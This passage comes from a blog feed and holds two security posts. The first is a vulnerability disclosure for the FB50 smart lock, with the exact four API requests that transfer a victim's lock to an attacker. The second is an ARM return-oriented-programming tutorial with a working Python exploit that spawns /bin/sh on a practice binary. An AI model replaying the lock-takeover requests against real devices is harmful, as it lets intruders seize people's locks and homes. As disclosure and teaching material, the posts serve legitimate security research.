<summary type="html">&lt;h2&gt;… and lessons learnt in IoT security&lt;/h2&gt;&#xA;&lt;p&gt;(&lt;em&gt;originally posted at &lt;a href=&#34;http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure&#34; rel=&#34;nofollow&#34;&gt;SecureLayer7&amp;rsquo;s Blog&lt;/a&gt;, with my edits&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;the-lock&#34;&gt;The lock&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The lock in question is the FB50 smart lock, manufactured by Shenzhen&#xA;Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands&#xA;across many ecommerce sites, and has over, an estimated, 15k+ users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lock pairs to a phone via Bluetooth, and requires the OKLOK app from&#xA;the Play/App Store to function. The app requires the user to create an&#xA;account before further functionality is available.&#xA;It also facilitates configuring the fingerprint,&#xA;and unlocking from a range via Bluetooth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We had two primary attack surfaces we decided to tackle&amp;mdash;Bluetooth (BLE)&#xA;and the Android app.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;via-bluetooth-low-energy-ble&#34;&gt;Via Bluetooth Low Energy (BLE)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Android phones have the ability to capture Bluetooth (HCI) traffic&#xA;which can be enabled under Developer Options under Settings. We made&#xA;around 4 &amp;ldquo;unlocks&amp;rdquo; from the Android phone, as seen in the screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/IO5G0.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the value sent in the &lt;code&gt;Write&lt;/code&gt; request:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/rJVoE.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We attempted replaying these requests using &lt;code&gt;gattool&lt;/code&gt; and &lt;code&gt;gattacker&lt;/code&gt;,&#xA;but that didn&amp;rsquo;t pan out, since the value being written was encrypted.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;via-the-android-app&#34;&gt;Via the Android app&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Reversing the app using &lt;code&gt;jd-gui&lt;/code&gt;, &lt;code&gt;apktool&lt;/code&gt; and &lt;code&gt;dex2jar&lt;/code&gt; didn&amp;rsquo;t get us too&#xA;far since most of it was obfuscated. Why bother when there exists an&#xA;easier approach&amp;mdash;BurpSuite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We captured and played around with a bunch of requests and responses,&#xA;and finally arrived at a working exploit chain.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;the-exploit&#34;&gt;The exploit&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The entire exploit is a 4 step process consisting of authenticated&#xA;HTTP requests:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using the lock&amp;rsquo;s MAC (obtained via a simple Bluetooth scan in the&#xA;vicinity), get the barcode and lock ID&lt;/li&gt;&#xA;&lt;li&gt;Using the barcode, fetch the user ID&lt;/li&gt;&#xA;&lt;li&gt;Using the lock ID and user ID, unbind the user from the lock&lt;/li&gt;&#xA;&lt;li&gt;Provide a new name, attacker&amp;rsquo;s user ID and the MAC to bind the attacker&#xA;to the lock&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is what it looks like, in essence (personal info redacted).&lt;/p&gt;&#xA;&#xA;&lt;h3 id=&#34;request-1&#34;&gt;Request 1&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;POST /oklock/lock/queryDevice&#xA;{&amp;quot;mac&amp;quot;:&amp;quot;XX:XX:XX:XX:XX:XX&amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA; &amp;quot;result&amp;quot;:{&#xA; &amp;quot;alarm&amp;quot;:0,&#xA; &amp;quot;barcode&amp;quot;:&amp;quot;&amp;lt;BARCODE&amp;gt;&amp;quot;,&#xA; &amp;quot;chipType&amp;quot;:&amp;quot;1&amp;quot;,&#xA; &amp;quot;createAt&amp;quot;:&amp;quot;2019-05-14 09:32:23.0&amp;quot;,&#xA; &amp;quot;deviceId&amp;quot;:&amp;quot;&amp;quot;,&#xA; &amp;quot;electricity&amp;quot;:&amp;quot;95&amp;quot;,&#xA; &amp;quot;firmwareVersion&amp;quot;:&amp;quot;2.3&amp;quot;,&#xA; &amp;quot;gsmVersion&amp;quot;:&amp;quot;&amp;quot;,&#xA; &amp;quot;id&amp;quot;:&amp;lt;LOCK ID&amp;gt;,&#xA; &amp;quot;isLock&amp;quot;:0,&#xA; &amp;quot;lockKey&amp;quot;:&amp;quot;69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95&amp;quot;,&#xA; &amp;quot;lockPwd&amp;quot;:&amp;quot;000000&amp;quot;,&#xA; &amp;quot;mac&amp;quot;:&amp;quot;XX:XX:XX:XX:XX:XX&amp;quot;,&#xA; &amp;quot;name&amp;quot;:&amp;quot;lock&amp;quot;,&#xA; &amp;quot;radioName&amp;quot;:&amp;quot;BlueFPL&amp;quot;,&#xA; &amp;quot;type&amp;quot;:0&#xA; },&#xA; &amp;quot;status&amp;quot;:&amp;quot;2000&amp;quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3 id=&#34;request-2&#34;&gt;Request 2&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;POST /oklock/lock/getDeviceInfo&#xA;&#xA;{&amp;quot;barcode&amp;quot;:&amp;quot;https://app.oklok.com.cn/app.html?id=&amp;lt;BARCODE&amp;gt;&amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;quot;result&amp;quot;:{&#xA; &amp;quot;account&amp;quot;:&amp;quot;email@some.website&amp;quot;,&#xA; &amp;quot;alarm&amp;quot;:0,&#xA; &amp;quot;barcode&amp;quot;:&amp;quot;&amp;lt;BARCODE&amp;gt;&amp;quot;,&#xA; &amp;quot;chipType&amp;quot;:&amp;quot;1&amp;quot;,&#xA; &amp;quot;createAt&amp;quot;:&amp;quot;2019-05-14 09:32:23.0&amp;quot;,&#xA; &amp;quot;deviceId&amp;quot;:&amp;quot;&amp;quot;,&#xA; &amp;quot;electricity&amp;quot;:&amp;quot;95&amp;quot;,&#xA; &amp;quot;firmwareVersion&amp;quot;:&amp;quot;2.3&amp;quot;,&#xA; &amp;quot;gsmVersion&amp;quot;:&amp;quot;&amp;quot;,&#xA; &amp;quot;id&amp;quot;:&amp;lt;LOCK ID&amp;gt;,&#xA; &amp;quot;isLock&amp;quot;:0,&#xA; &amp;quot;lockKey&amp;quot;:&amp;quot;69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95&amp;quot;,&#xA; &amp;quot;lockPwd&amp;quot;:&amp;quot;000000&amp;quot;,&#xA; &amp;quot;mac&amp;quot;:&amp;quot;XX:XX:XX:XX:XX:XX&amp;quot;,&#xA; &amp;quot;name&amp;quot;:&amp;quot;lock&amp;quot;,&#xA; &amp;quot;radioName&amp;quot;:&amp;quot;BlueFPL&amp;quot;,&#xA; &amp;quot;type&amp;quot;:0,&#xA; &amp;quot;userId&amp;quot;:&amp;lt;USER ID&amp;gt;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3 id=&#34;request-3&#34;&gt;Request 3&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;POST /oklock/lock/unbind&#xA;&#xA;{&amp;quot;lockId&amp;quot;:&amp;quot;&amp;lt;LOCK ID&amp;gt;&amp;quot;,&amp;quot;userId&amp;quot;:&amp;lt;USER ID&amp;gt;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3 id=&#34;request-4&#34;&gt;Request 4&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;POST /oklock/lock/bind&#xA;&#xA;{&amp;quot;name&amp;quot;:&amp;quot;newname&amp;quot;,&amp;quot;userId&amp;quot;:&amp;lt;USER ID&amp;gt;,&amp;quot;mac&amp;quot;:&amp;quot;XX:XX:XX:XX:XX:XX&amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2 id=&#34;that-s-it-the-scary-stuff&#34;&gt;That&amp;rsquo;s it! (&amp;amp; the scary stuff)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You should have the lock transferred to your account. The severity of this&#xA;issue lies in the fact that the original owner completely loses access to&#xA;their lock. They can&amp;rsquo;t even &amp;ldquo;rebind&amp;rdquo; to get it back, since the current owner&#xA;(the attacker) needs to authorize that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add to that, roughly 15,000 user accounts&amp;rsquo; info are exposed via IDOR.&#xA;Ilja, a cool dude I met on Telegram, noticed locks named &amp;ldquo;carlock&amp;rdquo;,&#xA;&amp;ldquo;garage&amp;rdquo;, &amp;ldquo;MainDoor&amp;rdquo;, etc.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; This is terrifying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;shudders&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;proof-of-concept&#34;&gt;Proof of Concept&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&#34;https://twitter.com/icyphox/status/1158396372778807296&#34; rel=&#34;nofollow&#34;&gt;PoC Video&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/icyphox/pwnfb50&#34; rel=&#34;nofollow&#34;&gt;Exploit code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;disclosure-timeline&#34;&gt;Disclosure timeline&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;26th June, 2019&lt;/strong&gt;: Issue discovered at SecureLayer7, Pune&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;27th June, 2019&lt;/strong&gt;: Vendor notified about the issue&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;2nd July, 2019&lt;/strong&gt;: CVE-2019&amp;ndash;13143 reserved&lt;/li&gt;&#xA;&lt;li&gt;No response from vendor&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;2nd August 2019&lt;/strong&gt;: Public disclosure&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2 id=&#34;lessons-learnt&#34;&gt;Lessons learnt&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DO NOT&lt;/strong&gt;. Ever. Buy. A smart lock. You&amp;rsquo;re better off with the &amp;ldquo;dumb&amp;rdquo; ones&#xA;with keys. With the IoT plague spreading, it brings in a large attack surface&#xA;to things that were otherwise &amp;ldquo;unhackable&amp;rdquo; (try hacking a &amp;ldquo;dumb&amp;rdquo; toaster).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IoT security scene is rife with bugs from over 10 years ago, like&#xA;executable stack segments&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;, hardcoded keys, and poor development&#xA;practices in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our existing threat models and scenarios have to be updated to factor&#xA;in these new exploitation possibilities. This also broadens the playing&#xA;field for cyber warfare and mass surveillance campaigns.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;researcher-info&#34;&gt;Researcher info&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This research was done at &lt;a href=&#34;https://securelayer7.net&#34; rel=&#34;nofollow&#34;&gt;SecureLayer7&lt;/a&gt;, Pune, IN by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Anirudh Oppiliappan (me)&lt;/li&gt;&#xA;&lt;li&gt;S. Raghav Pillai (&lt;a href=&#34;https://twitter.com/_vologue&#34; rel=&#34;nofollow&#34;&gt;@_vologue&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Shubham Chougule (&lt;a href=&#34;https://twitter.com/shubhamtc&#34; rel=&#34;nofollow&#34;&gt;@shubhamtc&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&lt;a href=&#34;https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/&#34; rel=&#34;nofollow&#34;&gt;This&lt;/a&gt; article discusses a similar smart lock, but they broke the encryption. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:2&#34;&gt;Thanks to Ilja Shaposhnikov (@drakylar). &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:2&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&lt;a href=&#34;https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf&#34; rel=&#34;nofollow&#34;&gt;PDF&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:3&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Return Oriented Programming on ARM (32-bit)</title>
<updated>2019-06-06T00:00:00Z</updated>
<id>tag:icyphox.sh/,2019-06-06:blog/rop-on-arm</id>
<link href="https://icyphox.sh/blog/rop-on-arm"></link>
<summary type="html">&lt;h2&gt;Making stack-based exploitation great again!&lt;/h2&gt;&#xA;&lt;p&gt;Before we start &lt;em&gt;anything&lt;/em&gt;, youre expected to know the basics of ARM&#xA;assembly to follow along. I highly recommend&#xA;&lt;a href=&#34;https://twitter.com/fox0x01&#34; rel=&#34;nofollow&#34;&gt;Azerias&lt;/a&gt; series on &lt;a href=&#34;https://azeria-labs.com/writing-arm-assembly-part-1/&#34; rel=&#34;nofollow&#34;&gt;ARM Assembly&#xA;Basics&lt;/a&gt;. Once youre&#xA;comfortable with it, proceed with the next bit&amp;mdash;environment setup.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;setup&#34;&gt;Setup&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since were working with the ARM architecture, there are two options to go&#xA;forth with:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Emulate&amp;mdash;head over to &lt;a href=&#34;https://www.qemu.org/download/&#34; rel=&#34;nofollow&#34;&gt;qemu.org/download&lt;/a&gt; and install QEMU.&#xA;And then download and extract the ARMv6 Debian Stretch image from one of the links &lt;a href=&#34;https://blahcat.github.io/qemu/&#34; rel=&#34;nofollow&#34;&gt;here&lt;/a&gt;.&#xA;The scripts found inside should be self-explanatory.&lt;/li&gt;&#xA;&lt;li&gt;Use actual ARM hardware, like an RPi.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For debugging and disassembling, well be using plain old &lt;code&gt;gdb&lt;/code&gt;, but you&#xA;may use &lt;code&gt;radare2&lt;/code&gt;, IDA or anything else, really. All of which can be&#xA;trivially installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for the sake of simplicity, disable ASLR:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ echo 0 &amp;gt; /proc/sys/kernel/randomize_va_space&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, the binary well be using in this exercise is &lt;a href=&#34;https://twitter.com/bellis1000&#34; rel=&#34;nofollow&#34;&gt;Billy Ellis&lt;/a&gt;&#xA;&lt;a href=&#34;/static/files/roplevel2.c&#34;&gt;roplevel2&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compile it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ gcc roplevel2.c -o rop2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With that out of the way, heres a quick run down of what ROP actually is.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;a-primer-on-rop&#34;&gt;A primer on ROP&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;ROP or Return Oriented Programming is a modern exploitation technique thats&#xA;used to bypass protections like the &lt;strong&gt;NX bit&lt;/strong&gt; (no-execute bit) and &lt;strong&gt;code sigining&lt;/strong&gt;.&#xA;In essence, no code in the binary is actually modified and the entire exploit&#xA;is crafted out of pre-existing artifacts within the binary, known as &lt;strong&gt;gadgets&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A gadget is essentially a small sequence of code (instructions), ending with&#xA;a &lt;code&gt;ret&lt;/code&gt;, or a return instruction. In our case, since were dealing with ARM&#xA;code, there is no &lt;code&gt;ret&lt;/code&gt; instruction but rather a &lt;code&gt;pop {pc}&lt;/code&gt; or a &lt;code&gt;bx lr&lt;/code&gt;.&#xA;These gadgets are &lt;em&gt;chained&lt;/em&gt; together by jumping (returning) from one onto the other&#xA;to form whats called as a &lt;strong&gt;ropchain&lt;/strong&gt;. At the end of a ropchain,&#xA;theres generally a call to &lt;code&gt;system()&lt;/code&gt;, to acheive code execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, the process of executing a ropchain is something like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;confirm the existence of a stack-based buffer overflow&lt;/li&gt;&#xA;&lt;li&gt;identify the offset at which the instruction pointer gets overwritten&lt;/li&gt;&#xA;&lt;li&gt;locate the addresses of the gadgets you wish to use&lt;/li&gt;&#xA;&lt;li&gt;craft your input keeping in mind the stacks layout, and chain the addresses&#xA;of your gadgets&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&#34;https://twitter.com/LiveOverflow&#34; rel=&#34;nofollow&#34;&gt;LiveOverflow&lt;/a&gt; has a &lt;a href=&#34;https://www.youtube.com/watch?v=zaQVNM3or7k&amp;amp;list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&amp;amp;index=46&amp;amp;t=0s&#34; rel=&#34;nofollow&#34;&gt;beautiful video&lt;/a&gt; where he explains ROP using “weird machines”.&#xA;Check it out, it might be just what you needed for that “aha!” moment :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still dont get it? Dont fret, well look at &lt;em&gt;actual&lt;/em&gt; exploit code in a bit and hopefully&#xA;that should put things into perspective.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;exploring-our-binary&#34;&gt;Exploring our binary&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Start by running it, and entering any arbitrary string. On entering a fairly&#xA;large string, say, “A” × 20, we&#xA;see a segmentation fault occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/qrN69.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, open it up in &lt;code&gt;gdb&lt;/code&gt; and look at the functions inside it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/3j-MJ.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are three functions that are of importance here, &lt;code&gt;main&lt;/code&gt;, &lt;code&gt;winner&lt;/code&gt; and&#xA;&lt;code&gt;gadget&lt;/code&gt;. Disassembling the &lt;code&gt;main&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/p2iFF.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We see a buffer of 16 bytes being created (&lt;code&gt;sub&#x9;sp, sp, #16&lt;/code&gt;), and some calls&#xA;to &lt;code&gt;puts()&lt;/code&gt;/&lt;code&gt;printf()&lt;/code&gt; and &lt;code&gt;scanf()&lt;/code&gt;. Looks like &lt;code&gt;winner&lt;/code&gt; and &lt;code&gt;gadget&lt;/code&gt; are&#xA;never actually called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassembling the &lt;code&gt;gadget&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/1T8XT.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is fairly simple, the stack is being initialized by &lt;code&gt;push&lt;/code&gt;ing &lt;code&gt;{r11}&lt;/code&gt;,&#xA;which is also the frame pointer (&lt;code&gt;fp&lt;/code&gt;). Whats interesting is the &lt;code&gt;pop {r0, pc}&lt;/code&gt;&#xA;instruction in the middle. This is a &lt;strong&gt;gadget&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can use this to control what goes into &lt;code&gt;r0&lt;/code&gt; and &lt;code&gt;pc&lt;/code&gt;. Unlike in x86 where&#xA;arguments to functions are passed on the stack, in ARM the registers &lt;code&gt;r0&lt;/code&gt; to &lt;code&gt;r3&lt;/code&gt;&#xA;are used for this. So this gadget effectively allows us to pass arguments to&#xA;functions using &lt;code&gt;r0&lt;/code&gt;, and subsequently jumping to them by passing its address&#xA;in &lt;code&gt;pc&lt;/code&gt;. Neat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving on to the disassembly of the &lt;code&gt;winner&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/BDtJr.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, we see a calls to &lt;code&gt;puts()&lt;/code&gt;, &lt;code&gt;system()&lt;/code&gt; and finally, &lt;code&gt;exit()&lt;/code&gt;.&#xA;So our end goal here is to, quite obviously, execute code via the &lt;code&gt;system()&lt;/code&gt;&#xA;function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that we have an overview of whats in the binary, lets formulate a method&#xA;of exploitation by messing around with inputs.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;messing-around-with-inputs&#34;&gt;Messing around with inputs :^)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Back to &lt;code&gt;gdb&lt;/code&gt;, hit &lt;code&gt;r&lt;/code&gt; to run and pass in a patterned input, like in the&#xA;screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/7IDsI.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We hit a segfault because of invalid memory at address &lt;code&gt;0x46464646&lt;/code&gt;. Notice&#xA;the &lt;code&gt;pc&lt;/code&gt; has been overwritten with our input.&#xA;So we smashed the stack alright, but more importantly, its at the letter F.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since we know the offset at which the &lt;code&gt;pc&lt;/code&gt; gets overwritten, we can now&#xA;control program execution flow. Lets try jumping to the &lt;code&gt;winner&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassemble &lt;code&gt;winner&lt;/code&gt; again using &lt;code&gt;disas winner&lt;/code&gt; and note down the offset&#xA;of the second instruction&amp;mdash;&lt;code&gt;add r11, sp, #4&lt;/code&gt;.&#xA;For this, well use Python to print our input string replacing &lt;code&gt;FFFF&lt;/code&gt; with&#xA;the address of &lt;code&gt;winner&lt;/code&gt;. Note the endianness.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ python -c &#39;print(&amp;quot;AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00&amp;quot;)&#39; | ./rop2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/A~RaT.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason we dont jump to the first instruction is because we want to control the stack&#xA;ourselves. If we allow &lt;code&gt;push {rll, lr}&lt;/code&gt; (first instruction) to occur, the program will &lt;code&gt;pop&lt;/code&gt;&#xA;those out after &lt;code&gt;winner&lt;/code&gt; is done executing and we will no longer control&#xA;where it jumps to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that didnt do much, just prints out a string “Nothing much here&amp;hellip;”.&#xA;But it &lt;em&gt;does&lt;/em&gt; however, contain &lt;code&gt;system()&lt;/code&gt;. Which somehow needs to be populated with an argument&#xA;to do what we want (run a command, execute a shell, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do that, well follow a multi-step process:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Jump to the address of &lt;code&gt;gadget&lt;/code&gt;, again the 2nd instruction. This will &lt;code&gt;pop&lt;/code&gt; &lt;code&gt;r0&lt;/code&gt; and &lt;code&gt;pc&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Push our command to be executed, say “&lt;code&gt;/bin/sh&lt;/code&gt;” onto the stack. This will go into&#xA;&lt;code&gt;r0&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Then, push the address of &lt;code&gt;system()&lt;/code&gt;. And this will go into &lt;code&gt;pc&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The pseudo-code is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string = AAAABBBBCCCCDDDDEEEE&#xA;gadget = # addr of gadget&#xA;binsh = # addr of /bin/sh&#xA;system = # addr of system()&#xA;&#xA;print(string + gadget + binsh + system)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clean and mean.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;the-exploit&#34;&gt;The exploit&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To write the exploit, well use Python and the absolute godsend of a library&amp;mdash;&lt;code&gt;struct&lt;/code&gt;.&#xA;It allows us to pack the bytes of addresses to the endianness of our choice.&#xA;It probably does a lot more, but who cares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets start by fetching the address of &lt;code&gt;/bin/sh&lt;/code&gt;. In &lt;code&gt;gdb&lt;/code&gt;, set a breakpoint&#xA;at &lt;code&gt;main&lt;/code&gt;, hit &lt;code&gt;r&lt;/code&gt; to run, and search the entire address space for the string “&lt;code&gt;/bin/sh&lt;/code&gt;”:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) find &amp;amp;system, +9999999, &amp;quot;/bin/sh&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/SiNzl.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One hit at &lt;code&gt;0xb6f85588&lt;/code&gt;. The addresses of &lt;code&gt;gadget&lt;/code&gt; and &lt;code&gt;system()&lt;/code&gt; can be&#xA;found from the disassmblies from earlier. Heres the final exploit code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;import struct&#xA;&#xA;binsh = struct.pack(&amp;quot;I&amp;quot;, 0xb6f85588)&#xA;string = &amp;quot;AAAABBBBCCCCDDDDEEEE&amp;quot;&#xA;gadget = struct.pack(&amp;quot;I&amp;quot;, 0x00010550)&#xA;system = struct.pack(&amp;quot;I&amp;quot;, 0x00010538)&#xA;&#xA;print(string + gadget + binsh + system)&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Honestly, not too far off from our pseudo-code :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets see it in action:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/9ob4r.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that it doesnt work the first time, and this is because &lt;code&gt;/bin/sh&lt;/code&gt; terminates&#xA;when the pipe closes, since theres no input coming in from STDIN.&#xA;To get around this, we use &lt;code&gt;cat(1)&lt;/code&gt; which allows us to relay input through it&#xA;to the shell. Nifty 